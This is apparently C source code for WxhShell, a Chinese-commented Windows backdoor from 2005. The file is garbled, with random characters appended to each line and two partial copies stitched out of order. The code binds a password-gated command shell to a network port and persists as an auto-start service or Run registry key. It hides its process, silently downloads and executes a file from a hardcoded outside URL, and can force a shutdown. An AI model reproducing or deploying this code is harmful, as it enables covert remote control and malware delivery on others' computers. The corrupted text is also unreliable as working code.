    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+^9"k7  
    else { F<SCW+>z2a  
    closesocket(wsh); ma4Pmk  
    ExitThread(0); Qn`$xY9mT  
    } ^@W98_bd;  
    break; ]WZ_~8  
    } Ml &Cr  
  // 获取shell #=6A[<qX  
  case 's': { 8&?kr/_Vr  
    CmdShell(wsh); Vq[L4  
    closesocket(wsh); GJlkEWs  
    ExitThread(0); %4X#|22n  
    break; < H1+qN=]`  
  } wk @-O}W  
  // 退出 ~~J xw ]  
  case 'x': { &+t! LM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w.s-T.5.j  
    CloseIt(wsh); ~pM\]OC  
    break; _"BYnPq@wb  
    } NpS*]vSO  
  // 离开 V?KACYd@O  
  case 'q': { t{)Z$ )'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c;\}R#  
    closesocket(wsh); ,P G d  
    WSACleanup(); HEZgHL  
    exit(1); 'n'83d)z  
    break; LR:Qb]|"  
        } J LOTl.  
  } j1{ @?  
  } z\iz6-\&y  
Z+jgFl 4  
  // 提示信息 K(*QhKX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %<^B\|d'?  
} p7.j>w1F  
  } pz'l9Gp;@  
\etuIFQ#U  
  return; hD OEJ  
} I%dFVt@  
S;0,UgB1  
// shell模块句柄 Q)"L8v v  
int CmdShell(SOCKET sock) ( e> .hfrs  
{ WJH)>4M#  
STARTUPINFO si; U}9B wr^  
ZeroMemory(&si,sizeof(si)); A0L&p(i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q2qbbQ6H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K \?b6;ea  
PROCESS_INFORMATION ProcessInfo; vj?v7  
char cmdline[]="cmd"; ^1d"Rqtv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QBi&Q%piy  
  return 0; lTNfTO^  
} B~p` 3rC  
"2cJ'n/L  
// 自身启动模式 d'1 L#`?  
int StartFromService(void) uFd.2,XNP  
{ 5)=XzO0  
typedef struct FcR(uv<  
{ hY5G=nbO*  
  DWORD ExitStatus; VUfV=&D-*g  
  DWORD PebBaseAddress; FScE3~R  
  DWORD AffinityMask; Q4YIKNN|7  
  DWORD BasePriority; m%8idjnG  
  ULONG UniqueProcessId; -#yLH  
  ULONG InheritedFromUniqueProcessId; UNc!6Q-.  
}   PROCESS_BASIC_INFORMATION; vfW  
*0 y|0J+ 0  
PROCNTQSIP NtQueryInformationProcess; }=kf52Am,}  
SG6@Rn*^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A]VcQ_e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C)2Waj}  
xRZ9.Agv_  
  HANDLE             hProcess; :5/P{Co (  
  PROCESS_BASIC_INFORMATION pbi; k!/"J ;  
zbL!q_wO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fX)C8J^=G  
  if(NULL == hInst ) return 0; [K2\e N~g  
k0;ND  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4H 4U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 76i)m!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (h8M  
3EGQ$  
  if (!NtQueryInformationProcess) return 0; K]mR9$/  
I`%\ "bF@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A aLj.HR  
  if(!hProcess) return 0; "^A4!.  
fJ!i%</V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d8 1u  
f<.43kv@  
  CloseHandle(hProcess); d ]LF5*i  
5B+>28G%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >Le L%$  
if(hProcess==NULL) return 0; _c}@Fi+E  
R-Y|;  
HMODULE hMod; ;aA,H&   
char procName[255]; ZVo%ssVt  
unsigned long cbNeeded; chjXsq#Q^  
-eKi}e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FI,>v`  
*Vk%"rwaG  
  CloseHandle(hProcess); E|u#W3-:  
~GL"s6C$`;  
if(strstr(procName,"services")) return 1; // 以服务启动 xA;o3Or  
aL\vQ(1zO  
  return 0; // 注册表启动 ?b?`(JTR  
} ;k6>*wFl|!  
B~HA 32  
// 主模块 r3a$n$Qw  
int StartWxhshell(LPSTR lpCmdLine) 4@6!E^  
{ }kg?A oo  
  SOCKET wsl; hQ!slO  
BOOL val=TRUE; ~RSOUrR  
  int port=0; 0i}4T:J@`  
  struct sockaddr_in door; Pkx*1.uo  
57/9i> @  
  if(wscfg.ws_autoins) Install(); J)O1)fR  
3e UTV<!  
port=atoi(lpCmdLine); _D9` L&X}  
^4@~\#$z  
if(port<=0) port=wscfg.ws_port; ( yk^%  
7.4Q  
  WSADATA data; u|m>h(O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %mR roR6  
2mS3gk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e %VJ:Dj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  <b7 4L  
  door.sin_family = AF_INET; et|P5%G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =j[zMO  
  door.sin_port = htons(port); i_OoR"J%  
fm2,Mx6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5>.)7D%  
closesocket(wsl); [uxhdR`T  
return 1; wT?.Mte  
} ODn6%fp%  
rK%<2i  
  if(listen(wsl,2) == INVALID_SOCKET) { ajIgL<x  
closesocket(wsl); 5Z{h!}Y  
return 1; %AbA(F  
} 2.)@u~^Q  
  Wxhshell(wsl); T:+%3+;a  
  WSACleanup(); F"O{eK0T  
'LZF^m _<<  
return 0; b#h?O}  
Uq/#\7/rL  
} !4uTi [e  
f(.@]eu X  
// 以NT服务方式启动 QF/A-[V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3nt&Sf  
{ wCiDvHF5+C  
DWORD   status = 0; srfFJX7*  
  DWORD   specificError = 0xfffffff; .5+*,+-  
D8P<mIu}Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `_Bvae j?,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %lZ++?&^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j.MpQ^eJ7  
  serviceStatus.dwWin32ExitCode     = 0; 8%s ^>.rG  
  serviceStatus.dwServiceSpecificExitCode = 0; eCB(!Y|  
  serviceStatus.dwCheckPoint       = 0; a p-\R  
  serviceStatus.dwWaitHint       = 0; $"[1yQ<p  
910Ym!\{:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O[Xl*9P  
  if (hServiceStatusHandle==0) return; X%W_cb2  
O@[c*3]e  
status = GetLastError(); |fdr\t#'~  
  if (status!=NO_ERROR) fII;t-(x  
{ =ECw'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `6V-a_8;[  
    serviceStatus.dwCheckPoint       = 0; ) |`eCzCB  
    serviceStatus.dwWaitHint       = 0; Q+|8|V}w  
    serviceStatus.dwWin32ExitCode     = status; )&di c6r  
    serviceStatus.dwServiceSpecificExitCode = specificError; zI/)#^SQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0wZ_;FN*-  
    return; !xoN%5 !  
  } ,2mnjq/*Z  
I}/o`oc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G v[W)+3f  
  serviceStatus.dwCheckPoint       = 0; 'Im7^!-d  
  serviceStatus.dwWaitHint       = 0; PbOLN$hP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9`}Wp2  
} [\CQ_qs|  
Ju$=Tn  
// 处理NT服务事件,比如:启动、停止 `Z]Tp1U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FUzIuz 6  
{ &fA`Od6l"  
switch(fdwControl) Lv@JfN"O  
{ F/9]{H  
case SERVICE_CONTROL_STOP: b_Ns Ch3@  
  serviceStatus.dwWin32ExitCode = 0; -jsNAQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fLK*rK^{"  
  serviceStatus.dwCheckPoint   = 0; a5WVDh, cR  
  serviceStatus.dwWaitHint     = 0; \a+F/I$hwa  
  { DX.u"&Mm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7"F w8;k  
  } \dj&4u3  
  return; AfKJa DKf  
case SERVICE_CONTROL_PAUSE: ~[XDK`B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2<}^m/}  
  break; q[{q3-W  
case SERVICE_CONTROL_CONTINUE: /km^IH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B e+'&+  
  break; {\22C `9t  
case SERVICE_CONTROL_INTERROGATE: B]dHMLzl  
  break; \7Hzj0hSi  
}; ey<u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v'*  
} "!<Kmh5  
6'W79  
// 标准应用程序主函数 j &)Xi^^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :P`sK&b_  
{ RC Fb&,51  
GL&ri!,  
// 获取操作系统版本 f9H;e(D9]  
OsIsNt=GetOsVer(); yA*~O$~Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P\;lH"9  
B&A4-w v  
  // 从命令行安装 [dFxW6n  
  if(strpbrk(lpCmdLine,"iI")) Install(); XOzPi*V**  
P8!Vcy938  
  // 下载执行文件  g#~jF  
if(wscfg.ws_downexe) { +]H9:ARI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +U&aK dQs  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?H1I,]Di  
} Acr\2!))  
dA> t  
if(!OsIsNt) { e:{v.C0ez  
// 如果时win9x,隐藏进程并且设置为注册表启动 .$)'7  
HideProc(); #C,M8~Q7  
StartWxhshell(lpCmdLine); =]E(iR_&  
} I=l() ET=  
else 6gwjrGje\  
  if(StartFromService()) {55{ YDqx  
  // 以服务方式启动 %@q52ZQ  
  StartServiceCtrlDispatcher(DispatchTable); tu6oa[s  
else RL |.y~  
  // 普通方式启动 9Q- /Yh  
  StartWxhshell(lpCmdLine); yCkfAx8 ]  
'-3AWBWI1  
return 0; !>b>"\b  
} i`7{q~d=  
QU16X  
XyJ*>;q  
leyhiL<  
===========================================  CJg &  
}MY7<sMDOy  
#T Cz$_=t  
z=<T[Uy  
a#FkoA~M  
CyO2Z  
" p%,:U8fOR  
3;~1rw=$<  
#include <stdio.h> o%X_V!B{V  
#include <string.h> `x$d8(1J`#  
#include <windows.h> `48jL3|  
#include <winsock2.h> xc Wr hg  
#include <winsvc.h> M_+&XLnzsJ  
#include <urlmon.h> !y$H r[v  
{%. _cR2  
#pragma comment (lib, "Ws2_32.lib") <`5>;Xn=  
#pragma comment (lib, "urlmon.lib") 3 1KMn  
G/_#zIN`8M  
#define MAX_USER   100 // 最大客户端连接数 s4P8PDhz  
#define BUF_SOCK   200 // sock buffer 4;Z`u.1  
#define KEY_BUFF   255 // 输入 buffer ,kuJWaUC@  
.Br2^F  
#define REBOOT     0   // 重启 VJBVk8P  
#define SHUTDOWN   1   // 关机 m9Gyjr'L  
2H;&E1:  
#define DEF_PORT   5000 // 监听端口 sp0& " &5  
G& cm5  
#define REG_LEN     16   // 注册表键长度 +oBf\!{cW  
#define SVC_LEN     80   // NT服务名长度 r4dG83qg  
WGKN>nV  
// 从dll定义API fL ng[&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N72z5[..  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 85$MHod}[,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x,IU]YW@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #rMMOu9r2  
|xQG  
// wxhshell配置信息 :Gqyj_|<  
struct WSCFG { pez*kU+9  
  int ws_port;         // 监听端口 >T;"bc b  
  char ws_passstr[REG_LEN]; // 口令 ]Gow  
  int ws_autoins;       // 安装标记, 1=yes 0=no [' R2$z  
  char ws_regname[REG_LEN]; // 注册表键名 PKT0Drv}c7  
  char ws_svcname[REG_LEN]; // 服务名 >WE3$Q>bi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y/mxdP w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G%S=K2 v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +e<P7}ZQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fzh%#z0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9vCn^G%B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {=IK(H  
>`n0{:.1za  
}; ,=B "%=S  
'cy35M  
// default Wxhshell configuration -'BJhi\Y]~  
struct WSCFG wscfg={DEF_PORT, O7ceSz  
    "xuhuanlingzhe", ir qlU  
    1, J)A1`(x&T  
    "Wxhshell", 'e02rqip{  
    "Wxhshell", 78#je=MDg  
            "WxhShell Service", #6fp "  
    "Wrsky Windows CmdShell Service", j/3827jw=  
    "Please Input Your Password: ", AOWX=`J8V  
  1, jC ,foqL  
  "http://www.wrsky.com/wxhshell.exe", 4pV.R5:  
  "Wxhshell.exe" @!'Pr$`  
    }; c_}i(HQ  
rOyK==8/Fg  
// 消息定义模块 IGEf*!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Namw[Tg J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C>$5<bx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8NudY3cU!  
char *msg_ws_ext="\n\rExit."; _ot4HmD  
char *msg_ws_end="\n\rQuit."; h|yv*1/|  
char *msg_ws_boot="\n\rReboot..."; LT!B]y  
char *msg_ws_poff="\n\rShutdown..."; qWKpnofa  
char *msg_ws_down="\n\rSave to "; v~q2D"  
{,*G }/9<  
char *msg_ws_err="\n\rErr!"; d{hb gUSj  
char *msg_ws_ok="\n\rOK!"; D#x D-c  
-Vn9YeH+  
char ExeFile[MAX_PATH]; c?CwxI_b8  
int nUser = 0; Mr<2I  
HANDLE handles[MAX_USER]; oaHg6PT!  
int OsIsNt; @Rj&9/\L  
=DvFY]9{  
SERVICE_STATUS       serviceStatus; dl'pl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Me yQ`%  
vi4u `  
// 函数声明 2al%J%  
int Install(void); !Y!Cv %  
int Uninstall(void); @JT9utct  
int DownloadFile(char *sURL, SOCKET wsh); ylLQKdcL  
int Boot(int flag); 8/U=~*` _  
void HideProc(void); 'I($IM  
int GetOsVer(void); vvv~n ]S6  
int Wxhshell(SOCKET wsl); T2Z;)e$m_  
void TalkWithClient(void *cs); ]G1{@r)  
int CmdShell(SOCKET sock); apF!@O^}y  
int StartFromService(void); zAC   
int StartWxhshell(LPSTR lpCmdLine); 9'o!9_j  
cE/7B'cR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m'KY;C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C&bw1`XJf  
7_.z3K m:  
// 数据结构和表定义 /'QNlP[L;  
SERVICE_TABLE_ENTRY DispatchTable[] = enj Ti5X  
{ t@ #sKdv  
{wscfg.ws_svcname, NTServiceMain}, Q mOG2  
{NULL, NULL} t]P[>{y  
}; ct3QtX0B  
Ym(^i h  
// 自我安装 m8rKH\FD}  
int Install(void) l2+qP{_4  
{ 9b@L^]Kg  
  char svExeFile[MAX_PATH]; gTY\B.  
  HKEY key; mwZesSxB_  
  strcpy(svExeFile,ExeFile); yrnB]$hf  
pAtHU(}  
// 如果是win9x系统,修改注册表设为自启动 eU1= :n&&\  
if(!OsIsNt) { nj!)\U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~7Kqc\/H&I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bENfEOf,  
  RegCloseKey(key); =#&K\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?xGxr|+a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 `Z@^W  
  RegCloseKey(key); \OHsCG27  
  return 0; }.3F|H  
    } _J}ce  
  } L=iaL[zdJ  
} +)^F9LPl  
else { A5!j rSyv  
:J@q Xa  
// 如果是NT以上系统,安装为系统服务 muQH!Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `x lsvK>  
if (schSCManager!=0) Z=sy~6m+v  
{ $R2T)  
  SC_HANDLE schService = CreateService ta> g:  
  ( Dp6]!;kx  
  schSCManager, `FH Hh  
  wscfg.ws_svcname, 2*vOo^f  
  wscfg.ws_svcdisp, VjtI1I  
  SERVICE_ALL_ACCESS, }IC$Du#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C (vi ns  
  SERVICE_AUTO_START, A-~#ydv  
  SERVICE_ERROR_NORMAL, : &mYz(1q  
  svExeFile, wp-5B= #:{  
  NULL, [3nhf<O  
  NULL, S5@/;T  
  NULL, SDcxro|8i  
  NULL, (?J6vK}S  
  NULL FAjO-T4(  
  ); U u(ysN4`  
  if (schService!=0) K$\az%NE  
  { jj0@ez{3  
  CloseServiceHandle(schService); :4}?%3&;  
  CloseServiceHandle(schSCManager); YPDc /  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?1xBhKq  
  strcat(svExeFile,wscfg.ws_svcname); 3P6pQm'.f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F 71  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +uM1#-+h  
  RegCloseKey(key); o{4ya jt  
  return 0; 95_ ?F7}9  
    } SIKy8?Fn  
  } COOazXtW  
  CloseServiceHandle(schSCManager); VCiJ]$`M  
} zid?yuP  
} #E2`KGCzW  
bS3qX{5  
return 1; KunK.m  
} "6~pTHT  
U> (5J,G  
// 自我卸载 7OS\j>hb~  
int Uninstall(void) uTpKT7t  
{ y%|nE((  
  HKEY key; &O#a==F!(  
yv 9~  
if(!OsIsNt) { d0>V^cB'?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UIvTC S  
  RegDeleteValue(key,wscfg.ws_regname); n4 KiC!*i0  
  RegCloseKey(key); -WB? hmx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QBR9BR  
  RegDeleteValue(key,wscfg.ws_regname); )?%FU?2jrn  
  RegCloseKey(key); Z_iu^ Q  
  return 0; #-'=)l}i1A  
  } =jkC]0qx  
} aj20, w  
} MnO,Cd6{%d  
else { ^8o'\V"m^  
/1h`O@VA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @\i6m]\X  
if (schSCManager!=0) RI:x`do  
{ 6]\F_Z41  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nR6~oB{-  
  if (schService!=0) si/F\NDT   
  { zpZlA_   
  if(DeleteService(schService)!=0) { WnLgpt2G  
  CloseServiceHandle(schService); \u2K?wC  
  CloseServiceHandle(schSCManager); {dg3 qg~  
  return 0; z<+".sD'  
  } oZ& ns!#  
  CloseServiceHandle(schService); J@oGAa%3)  
  } //JF$o=)D  
  CloseServiceHandle(schSCManager); fg8V6FS  
} 6^ wg'u]c  
} la8se=^  
Vvm6T@b M8  
return 1; Q0gO1 T  
} _R1UEE3M  
t+q LQY}=  
// 从指定url下载文件 `Vw9j,G  
int DownloadFile(char *sURL, SOCKET wsh) "@gJ[BL#  
{ dg4"4\c*P  
  HRESULT hr; EQyRP. dq  
char seps[]= "/"; u%V =Ze  
char *token; -]Z!_[MlDF  
char *file; KA`1IW;  
char myURL[MAX_PATH]; dY~3 YD[  
char myFILE[MAX_PATH]; UX41/# 4  
.Y&_k  
strcpy(myURL,sURL); U# -&%|b$  
  token=strtok(myURL,seps); ~1S7\e7{  
  while(token!=NULL) itm;,Sbg  
  { l'W?X '  
    file=token; *na7/ysT<  
  token=strtok(NULL,seps); mppBc-#EYr  
  } Ufv{6"sH  
";`ddN3  
GetCurrentDirectory(MAX_PATH,myFILE); {uM0J$P:  
strcat(myFILE, "\\"); ^Xt9AM]e  
strcat(myFILE, file); !.+iA=K{  
  send(wsh,myFILE,strlen(myFILE),0); !#rZ eDmw  
send(wsh,"...",3,0); ~`#.ZMO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )FMpfC>An  
  if(hr==S_OK) 3a:(\:?z  
return 0; Y5-X)f  
else 'an{<82i  
return 1; b/"gkFe#  
kmy?`P10(z  
} GL@s~_;T6  
K *{C:Y  
// 系统电源模块 3_fLaf A  
int Boot(int flag) %N/I;`  
{ :B$=Pp1  
  HANDLE hToken; _( w4\]  
  TOKEN_PRIVILEGES tkp; KAgiY4  
ZZ!d:1'7  
  if(OsIsNt) { `vDg~o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9=rYzA?)+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \&R}JK  
    tkp.PrivilegeCount = 1; ,<R/x[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IqfR`iAix  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cOOPNa>5_  
if(flag==REBOOT) { ?b#/*T}ac  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _L_SNjA_  
  return 0; oMLpl3pl  
} PX?tD:,[-  
else { csRba;Z[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PaMi5Pq  
  return 0; YxS*im[%]  
} (Uv{%q.n6  
  } 0w< iz;30  
  else { tOnaD]J  
if(flag==REBOOT) { :lgIu .  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \Y>^L{  
  return 0; 1ikkm7  
} ;r49H<z   
else { d;D^<-[i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q1r\ 60M  
  return 0; tK g%5;v  
} xW/J ItF  
} Bpo~x2p  
XwX1i!'54  
return 1; "y "C#:5  
} hYi-F.Qtq  
m;K Mr6sO  
// win9x进程隐藏模块 aFyNm@a  
void HideProc(void) *:BN LM  
{ 49/1#^T"Q>  
3`^ ]#Dh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QdO$,i'  
  if ( hKernel != NULL ) Z'S>i*Ts  
  { XiKv2vwA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {EW}Wd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tDy1Gh/c  
    FreeLibrary(hKernel); RvDqo d  
  } "9LPq  
m"86O:S#d  
return; +(PtOo.  
} at7/KuY!~  
BAX])~_  
// 获取操作系统版本 +ZizT.$&  
int GetOsVer(void) {:4); .  
{ @{+*ea7M(`  
  OSVERSIONINFO winfo; u>k;P UH4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ynZ!  
  GetVersionEx(&winfo); /I[cj3}{+f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5mER&SX  
  return 1; Rv.W~FE^  
  else Ko/_w_  
  return 0; *$`r)pV%AK  
} CdWGb[uI  
qaw5<  
// 客户端句柄模块 G?3S_3J2  
int Wxhshell(SOCKET wsl) u:g(x+u4:  
{ "Hg n2o.;5  
  SOCKET wsh; p&vQ* }  
  struct sockaddr_in client; y,Dfqt  
  DWORD myID; N#T MU  
~+CNED0z+  
  while(nUser<MAX_USER) `+"QhQ4 w  
{ KO{}+~,.6  
  int nSize=sizeof(client); Kz$Ijj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~\ie/}zYj  
  if(wsh==INVALID_SOCKET) return 1; ip1jY!   
bpUN8BI[T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;pAkdX&b  
if(handles[nUser]==0) ^$?8!WE  
  closesocket(wsh); _QXo4z!a8  
else QXXcJc~  
  nUser++; c^Wm~"r  
  } JXPn <  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @ o;m!CYB  
>x!N@G  
  return 0; (&njZdcb*  
} ;GH(A=}/Y  
fF-V=Zf5  
// 关闭 socket V#3VRh  
void CloseIt(SOCKET wsh) ;`F0 %0d  
{ R L)'m  
closesocket(wsh); ?$ YE  
nUser--; qIb(uF@l"  
ExitThread(0); laFkOQI  
} ?#FA a,  
_`D760q}  
// 客户端请求句柄 ef!I |.FW  
void TalkWithClient(void *cs) 2{U4wTu  
{ N3x}YHFF  
W_iP/xL  
  SOCKET wsh=(SOCKET)cs; >"`:w  
  char pwd[SVC_LEN]; ]^ RgzK  
  char cmd[KEY_BUFF]; d%]7:  
char chr[1]; h[XGFz  
int i,j; 9^c_^-8n<}  
ZO}V}3  
  while (nUser < MAX_USER) { -09<; U  
|/p ^e  
if(wscfg.ws_passstr) { 9wtl|s%A %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y~Jq!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $f)Y !<bC  
  //ZeroMemory(pwd,KEY_BUFF); \u)s Zh  
      i=0; ` -w;=_Bm  
  while(i<SVC_LEN) { >fb*X'Zi%  
Z.h`yRhO  
  // 设置超时 8nZPY)o  
  fd_set FdRead; }cS3mJ  
  struct timeval TimeOut; F6q}(+9i  
  FD_ZERO(&FdRead); {p2%4  
  FD_SET(wsh,&FdRead); 4Pz9&^K  
  TimeOut.tv_sec=8; *qpmI9m  
  TimeOut.tv_usec=0; !r[uwJ=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i uN8gHx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 08.dV<P  
d6M d~$R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sZB$+~.:}  
  pwd=chr[0]; yTZbJx?m  
  if(chr[0]==0xd || chr[0]==0xa) { @``!P&h  
  pwd=0; pl7!O9bo  
  break; x&;{4F Nw  
  } %ecg19~L/}  
  i++; cFH,fj  
    } R0m}I5Frs  
W cqYpPv  
  // 如果是非法用户,关闭 socket >+$1 p_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B*?v`6  
} ueqR@i  
y<#y3M!\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -><?q t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y$,]~Qzq  
QTP1u  
while(1) { <X;y 4lPZ  
o9Agx{'oV  
  ZeroMemory(cmd,KEY_BUFF); hVR=g!e#X  
Ad`; O+/;  
      // 自动支持客户端 telnet标准   3UH=wmG0w  
  j=0; 9D 0ujup  
  while(j<KEY_BUFF) { \ wnQ[UNjP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p\!+j@H:  
  cmd[j]=chr[0]; +  1v@L  
  if(chr[0]==0xa || chr[0]==0xd) { =;T971L`  
  cmd[j]=0; Hi|Oeu  
  break; U` bvv'38#  
  } .m+KXlP  
  j++; `FmI?:Cv  
    } 6BMRl%3>Z  
T4Zp5m")  
  // 下载文件 A\ LTAp(I  
  if(strstr(cmd,"http://")) { Ct.Q)p-wn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J#JZ^59lOS  
  if(DownloadFile(cmd,wsh)) AQ-PY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IcaF 4#  
  else YZmD:P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GMiWS:`;v`  
  } thUs%F.5?  
  else { @AWKEo<7.I  
n:;2Z  
    switch(cmd[0]) { ZT|E1[Q  
  0p~:fm  
  // 帮助 #V~r@,  
  case '?': { bup;4~g  
